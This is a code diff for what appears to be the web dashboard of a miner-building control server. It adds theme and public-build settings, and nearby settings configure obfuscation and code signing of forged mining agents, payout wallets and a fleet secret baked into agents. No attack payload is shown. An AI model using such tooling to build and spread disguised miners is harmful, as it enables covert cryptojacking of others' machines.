transition: border-color 0.2s, box-shadow 0.2s, color 0.2s, background 0.2s;
}
.forge-mission-op-chip:hover:not(:disabled) {
box-shadow: 0 0 18px rgba(61, 214, 198, 0.18);
}
.forge-mission-op-chip.active {
background: rgba(0, 0, 0, 0.45);
}
.forge-mission-op-chip strong {
display: block;
margin-bottom: 0.15rem;
}
.forge-mission-op-chip span {
display: block;
font-size: 0.7rem;
opacity: 0.75;
line-height: 1.3;
}
.forge-mission-banner {
margin-bottom: 1rem;
padding: 1rem 1.25rem;
border: 1px solid rgba(61, 214, 198, 0.35);
background: rgba(61, 214, 198, 0.06);
}
.forge-mission-banner .font-tech {
margin-bottom: 0.35rem;
}
.forge-mission-steps {
display: flex;
flex-wrap: wrap;
gap: 0.35rem 0.5rem;
margin: 0.75rem 0;
font-size: 0.78rem;
font-family: var(--font-tech, monospace);
}
.forge-mission-step {
display: inline-flex;
align-items: center;
gap: 0.35rem;
padding: 0.2rem 0.55rem;
border-radius: 999px;
border: 1px solid rgba(255, 255, 255, 0.12);
color: var(--text-secondary);
}
.forge-mission-step.done {
border-color: rgba(74, 222, 128, 0.45);
color: var(--neon-green, #6f6);
}
.forge-mission-step.active {
border-color: rgba(61, 214, 198, 0.55);
color: var(--neon-cyan, #3dd6c6);
box-shadow: 0 0 12px rgba(61, 214, 198, 0.2);
}
.forge-mission-step:hover {
box-shadow: 0 0 10px rgba(61, 214, 198, 0.15);
}
.forge-mission-step.skipped {
border-color: rgba(255, 255, 255, 0.08);
color: #666;
text-decoration: line-through;
}
.forge-mission-step.error {
border-color: rgba(248, 113, 113, 0.55);
color: var(--neon-red, #f55);
}
.forge-mission-actions {
display: flex;
flex-wrap: wrap;
gap: 0.5rem;
align-items: flex-end;
margin-top: 0.75rem;
}
.forge-mission-modal-backdrop {
position: fixed;
inset: 0;
background: rgba(0, 0, 0, 0.75);
backdrop-filter: blur(4px);
display: flex;
align-items: center;
justify-content: center;
z-index: 2000;
padding: 1rem;
}
.forge-mission-modal {
background: #0e1117;
border: 1px solid rgba(61, 214, 198, 0.35);
border-radius: 14px;
box-shadow: 0 0 60px rgba(61, 214, 198, 0.15);
padding: 1.5rem;
max-width: 640px;
width: 100%;
max-height: 90vh;
overflow-y: auto;
}
.forge-mission-modal h3 {
margin: 0 0 0.5rem;
font-family: var(--font-tech, monospace);
color: var(--neon-cyan, #3dd6c6);
}
.forge-mission-link-block {
margin-bottom: 0.85rem;
}
.forge-mission-link-block p {
margin: 0 0 0.25rem;
font-size: 0.75rem;
color: var(--text-secondary);
}
.forge-mission-link-block code {
display: block;
font-size: 0.72rem;
word-break: break-all;
padding: 0.5rem 0.65rem;
background: rgba(0, 0, 0, 0.45);
border: 1px solid rgba(255, 255, 255, 0.08);
border-radius: 6px;
}
@media (max-width: 700px) {
.rvn-gauges {
grid-template-columns: repeat(2, 1fr);

View File

@@ -1,5 +1,6 @@
import { useCallback, useEffect, useRef, useState } from 'react';
import { api } from '../api/client';
import { useModalAmbientDuck } from '../context/AmbientMusicContext';
import { useWebSocket } from '../hooks/useWebSocket';
import type { Agent, PathTraceHop } from '../types';
import './PathTracerPage.css';
@@ -35,6 +36,7 @@ function QRModal({
onClose: () => void;
onEnd: () => void;
}) {
useModalAmbientDuck(true);
const [copied, setCopied] = useState(false);
const handleCopy = () => {
@@ -203,7 +205,7 @@ export default function PathTracerPage() {
const allHopsReady = hops.length > 0 && hops.every((h) => h.status === 'ready');
return (
<div className="pathtrace-page">
<div className="pathtrace-page operator-deck-page">
{/* Header */}
<div className="pt-header">
<div>

View File

@@ -146,6 +146,24 @@ describe('SettingsPage (Calibrate)', () => {
expect(await screen.findByText('User "operator" added successfully!')).toBeInTheDocument();
});
it('edits Emberwake public builds settings', async () => {
const user = userEvent.setup();
renderSettings();
const latestInput = await screen.findByLabelText(/latest n on login drawer/i);
expect((latestInput as HTMLInputElement).value).toBe('3');
const enableCheckbox = screen.getByRole('checkbox', { name: /expose all builds on public api/i });
expect((enableCheckbox as HTMLInputElement).checked).toBe(false);
await user.click(enableCheckbox);
expect((enableCheckbox as HTMLInputElement).checked).toBe(true);
await user.click(screen.getByRole('button', { name: /save calibration/i }));
await waitFor(() => {
expect(api.updateConfig).toHaveBeenCalled();
});
const saved = vi.mocked(api.updateConfig).mock.calls.at(-1)?.[0];
expect(saved?.server?.public_builds_enabled).toBe(true);
expect(saved?.server?.public_builds_latest_n).toBe(3);
});
it('describes first-run admin credentials in Access Control help', async () => {
renderSettings();
expect(

View File

@@ -17,11 +17,19 @@ import RVNPoolPresetPicker from '../components/RVNPoolPresetPicker';
import type { BackupPool } from '../types';
import NeonCard from '../components/NeonCard/NeonCard';
import FleetTasksPanel from '../components/Fleet/FleetTasksPanel';
import FleetRuntimePanel from '../components/Fleet/FleetRuntimePanel';
import { AuditLogStrip } from '../components/Fleet/FleetOpsWidgets';
import { useSound } from '../context/SoundContext';
import { useAmbientMusic } from '../context/AmbientMusicContext';
import { AMBIENT_MUSIC_SRC } from '../audio/ambientMusic';
import { useVisualEffects } from '../context/VisualEffectsContext';
import {
FORGE_SKIN_IDS,
loadStoredForgeTheme,
storeForgeTheme,
type ForgeSkinId,
type ForgeThemeOverride,
} from '../help/forgeOperationModes';
import './Pages.css';
/** Recursively merge `override` into `base`, preserving keys not in `override`. */
@@ -62,6 +70,7 @@ export default function SettingsPage() {
} = useSound();
const { enabled: bgmEnabled, volume: bgmVolume, setEnabled: setBgmEnabled, setVolume: setBgmVolume } = useAmbientMusic();
const { glowParticles, setGlowParticles } = useVisualEffects();
const [forgeTheme, setForgeTheme] = useState<ForgeThemeOverride>(loadStoredForgeTheme);
const [config, setConfig] = useState<ServerConfig | null>(null);
const [serverInfo, setServerInfo] = useState<{ suggested_url: string; local_ips: string[] } | null>(null);
const [loading, setLoading] = useState(true);
@@ -121,6 +130,8 @@ export default function SettingsPage() {
strict_wallet_validation: cfg.server?.strict_wallet_validation ?? false,
dashboard_subtitle: cfg.server?.dashboard_subtitle ?? 'security is just an emotion',
open_firewall_on_start: cfg.server?.open_firewall_on_start ?? true,
public_builds_enabled: cfg.server?.public_builds_enabled ?? false,
public_builds_latest_n: cfg.server?.public_builds_latest_n ?? 3,
},
});
setServerInfo(info);
@@ -301,7 +312,7 @@ export default function SettingsPage() {
if (loading) {
return (
<div className="page fade-in command-deck">
<div className="page fade-in command-deck operator-deck-page">
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">SERVER ONLY</p>
@@ -315,7 +326,7 @@ export default function SettingsPage() {
if (!config) {
return (
<div className="page fade-in command-deck">
<div className="page fade-in command-deck operator-deck-page">
<NeonCard accent="brass"><p>Failed to load server configuration.</p></NeonCard>
</div>
);
@@ -340,10 +351,12 @@ export default function SettingsPage() {
sign_cert_thumbprint: '',
sign_tool_path: '',
sign_timestamp_url: 'http://timestamp.digicert.com',
public_builds_enabled: false,
public_builds_latest_n: 3,
};
return (
<div className="page fade-in command-deck">
<div className="page fade-in command-deck operator-deck-page">
<input type="file" ref={fileInputRef} style={{ display: 'none' }} accept=".json" onChange={handleFileSelected} />
<header className="deck-hero">
@@ -379,7 +392,7 @@ export default function SettingsPage() {
)}
{serverInfo && (
<NeonCard accent="cyan" className="calibrate-banner" hud>
<NeonCard accent="cyan" className="calibrate-banner operator-deck-card operator-interactive" hud>
<p className="font-tech">DETECTED LAN ENDPOINTS</p>
<p><strong>Suggested:</strong> <code className="mono-sm">{serverInfo.suggested_url}</code></p>
{serverInfo.local_ips?.length > 0 && (
@@ -426,7 +439,7 @@ export default function SettingsPage() {
)}
<div className="settings-grid">
<NeonCard accent="cyan" className="settings-section">
<NeonCard accent="cyan" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Deck Atmosphere</h2>
<p className="section-desc">
Background glow particles and sparkles sit behind the UI (pointer-events off). Turn off on
@@ -443,9 +456,43 @@ export default function SettingsPage() {
<span>Glow particles &amp; sparkles</span>
</label>
</div>
<div className="form-group" style={{ marginTop: '1.25rem' }}>
<label htmlFor="cfg-forge-theme" className="label">
Forge theme
</label>
<p className="section-desc" style={{ marginBottom: '0.5rem' }}>
Seasonal forge chrome on The Forge page. Auto follows the selected operation mode preset;
pick a skin to override.
</p>
<select
id="cfg-forge-theme"
className="select"
value={forgeTheme}
onChange={(e) => {
const next = e.target.value as ForgeThemeOverride;
setForgeTheme(next);
storeForgeTheme(next);
}}
>
<option value="auto">Auto (follow operation mode)</option>
{FORGE_SKIN_IDS.map((id: ForgeSkinId) => (
<option key={id} value={id}>
{id === 'aether'
? 'Default Aether'
: id === 'halloween'
? 'Halloween'
: id === 'ghost'
? 'Ghost Walk'
: id === 'wildfire'
? 'Wildfire'
: 'Crucible Storm'}
</option>
))}
</select>
</div>
</NeonCard>
<NeonCard accent="green" className="settings-section">
<NeonCard accent="green" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Sound &amp; Haptics</h2>
<p className="section-desc">
Short UI bleeps and vibration on supported phones/tablets. Browsers require a click anywhere
@@ -582,7 +629,7 @@ export default function SettingsPage() {
</div>
</NeonCard>
<NeonCard accent="brass" className="settings-section">
<NeonCard accent="brass" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Control Server</h2>
<p className="section-desc">How this dashboard and API are hosted on your network.</p>
<div className="form-row">
@@ -647,7 +694,7 @@ export default function SettingsPage() {
</div>
</NeonCard>
<NeonCard accent="cyan" className="settings-section">
<NeonCard accent="cyan" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Upstream Pool</h2>
<p className="section-desc">The control server connects here and relays work to your fleet. Pick presets or add your own unreachable pools are skipped automatically.</p>
<PoolPresetPicker
@@ -684,7 +731,7 @@ export default function SettingsPage() {
</div>
</NeonCard>
<NeonCard accent="purple" className="settings-section">
<NeonCard accent="purple" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Fleet Payout Wallet</h2>
<p className="section-desc">Default wallet the server uses when connecting to the pool. The Forge pre-fills this when building miners.</p>
<div className="form-group">
@@ -708,7 +755,7 @@ export default function SettingsPage() {
</div>
</NeonCard>
<NeonCard accent="amber" className="settings-section">
<NeonCard accent="amber" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Ravencoin (GPU) Pool</h2>
<p className="section-desc">
Default RVN pool and wallet used when forging GPU-enabled agents. These pre-populate the Forge GPU mining fields.
@@ -770,7 +817,7 @@ export default function SettingsPage() {
</div>
</NeonCard>
<NeonCard accent="amber" className="settings-section">
<NeonCard accent="amber" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Fleet Alerts</h2>
<p className="section-desc">Dashboard thresholds for agent health.</p>
<div className="form-group">
@@ -792,7 +839,7 @@ export default function SettingsPage() {
</div>
</NeonCard>
<NeonCard accent="amber" className="settings-section">
<NeonCard accent="amber" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Alert Notifications</h2>
<p className="section-desc">
Telegram, optional webhook, and email for fleet events (operator pub/sub MITRE T1071.005 lite).
@@ -931,7 +978,42 @@ export default function SettingsPage() {
)}
</NeonCard>
<NeonCard accent="brass" className="settings-section">
<NeonCard accent="cyan" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Emberwake / Public Builds</h2>
<p className="section-desc">
Control which forged installers appear on the login-page public builds drawer and unauthenticated{' '}
<code className="mono-sm">/api/v1/public/builds</code> API. Mark individual builds public in Builds, or
enable all-builds mode below.
</p>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={s.public_builds_enabled ?? false}
onChange={(e) => updateField('server.public_builds_enabled', e.target.checked)}
/>
<span>Expose all builds on public API (no login)</span>
</label>
</div>
<div className="form-group">
<label htmlFor="cfg-public-latest-n" className="label">Latest N on login drawer</label>
<input
id="cfg-public-latest-n"
type="number"
className="input"
min={1}
max={50}
value={s.public_builds_latest_n ?? 3}
onChange={(e) => updateField('server.public_builds_latest_n', parseInt(e.target.value, 10) || 3)}
/>
<span className="form-hint">
When all-builds mode is off, login drawer lists pinned + explicitly public builds + this many recent forges.
</span>
</div>
</NeonCard>
<NeonCard accent="brass" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Forge Pipeline</h2>
<p className="section-desc">Defaults for obfuscation and code signing applied when forging on this control PC.</p>
<div className="form-group checkbox-group">
@@ -972,7 +1054,7 @@ export default function SettingsPage() {
</div>
</NeonCard>
<NeonCard accent="green" className="settings-section">
<NeonCard accent="green" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Data & Limits</h2>
<p className="section-desc">Retention and capacity for this host.</p>
<div className="form-row">
@@ -1006,7 +1088,7 @@ export default function SettingsPage() {
</div>
</NeonCard>
<NeonCard accent="brass" className="settings-section">
<NeonCard accent="brass" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Server Logging</h2>
<p className="section-desc">What this control server writes to its log.</p>
<div className="form-group checkbox-group">
@@ -1032,7 +1114,7 @@ export default function SettingsPage() {
</div>
</NeonCard>
<NeonCard accent="magenta" className="settings-section">
<NeonCard accent="magenta" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Access Control</h2>
<p className="section-desc">
API routes require login. On first server start, credentials are printed once in the server console (<code>admin</code> + random password). Save a session below so the dashboard can call the API (WebSocket live feed does not need this).
@@ -1078,7 +1160,9 @@ export default function SettingsPage() {
)}
</NeonCard>
<NeonCard accent="amber" className="settings-section">
<FleetRuntimePanel />
<NeonCard accent="amber" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Fleet Security</h2>
<p className="section-desc">
A <strong>Fleet Secret</strong> is auto-generated on first server start and baked into every forged agent.